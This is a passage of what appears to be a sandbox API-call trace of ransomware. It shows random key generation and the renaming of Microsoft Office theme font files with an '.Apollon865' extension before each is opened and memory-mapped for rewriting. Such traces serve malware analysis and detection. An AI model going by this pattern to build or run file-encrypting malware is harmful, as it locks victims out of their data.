	[0073.435] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1110) returned 0x100000
	[0073.435] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.436] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.436] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.436] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.437] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml.Apollon865") returned 89
	[0073.437] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Newsprint.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\newsprint.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.438] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3641) returned 1
	[0073.438] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.438] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.438] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.438] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.439] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.439] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.439] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1140, lpName=0x0) returned 0x118
	[0073.440] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1140) returned 0x100000
	[0073.441] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.442] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.442] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.442] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.442] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml.Apollon865") returned 88
	[0073.442] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office 2.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office 2.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.443] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3605) returned 1
	[0073.443] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.444] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.444] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.444] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.444] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.445] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x118
	[0073.446] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000
	[0073.447] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.447] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.447] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.447] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.448] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml.Apollon865") returned 96
	[0073.448] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic 2.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic 2.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.449] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3585) returned 1
	[0073.449] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.450] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.450] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.450] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.450] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.450] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.451] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1110, lpName=0x0) returned 0x118
	[0073.452] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1110) returned 0x100000
	[0073.453] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.454] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.454] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.454] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.455] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml.Apollon865") returned 94
	[0073.455] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Office Classic.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\office classic.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.456] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3616) returned 1
	[0073.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.456] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.456] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.457] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.457] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.457] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x118
	[0073.459] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000
	[0073.459] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.460] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.460] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.460] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.460] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml.Apollon865") returned 87
	[0073.461] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Opulent.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\opulent.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.462] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3613) returned 1
	[0073.462] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.463] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.463] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.463] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.463] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.463] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.463] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x118
	[0073.465] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000
	[0073.467] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.468] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.468] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.468] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.468] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml.Apollon865") returned 85
	[0073.468] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Oriel.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\oriel.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.469] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3674) returned 1
	[0073.469] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.470] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.470] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.470] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.470] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.471] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1160, lpName=0x0) returned 0x100
	[0073.472] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1160) returned 0x100000
	[0073.473] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.473] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.473] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.473] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0073.474] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml.Apollon865") returned 86
	[0073.474] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Origin.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\origin.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.475] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3821) returned 1
	[0073.475] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.475] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.475] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.475] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.476] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.476] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.476] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11f0, lpName=0x0) returned 0x100
	[0073.478] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11f0) returned 0x100000
	[0073.480] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf5f0) returned 1
	[0073.480] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.480] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.480] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0073.481] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml.Apollon865") returned 85
	[0073.481] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Paper.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\paper.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.482] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3628) returned 1
	[0073.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0073.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.483] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf5f0) returned 1
	[0073.483] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.483] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.484] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1130, lpName=0x0) returned 0x100
	[0073.485] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1130) returned 0x100000
	[0073.486] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf5f0) returned 1
	[0073.487] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.487] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0073.487] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml.Apollon865") returned 91
	[0073.487] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Perspective.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\perspective.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.488] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3599) returned 1
	[0073.488] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0073.488] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.488] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.489] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf5f0) returned 1
	[0073.489] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.489] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.489] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1110, lpName=0x0) returned 0xc0
	[0073.491] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1110) returned 0x100000
	[0073.491] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf5f0) returned 1
	[0073.492] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.492] CryptReleaseContext (hProv=0x5bf5f0, dwFlags=0x0) returned 1
	[0073.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0073.493] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml.Apollon865") returned 87
	[0073.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Pushpin.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\pushpin.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.495] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3711) returned 1
	[0073.495] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0073.495] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.495] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.495] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf5f0) returned 1
	[0073.496] CryptGenRandom (in: hProv=0x5bf5f0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
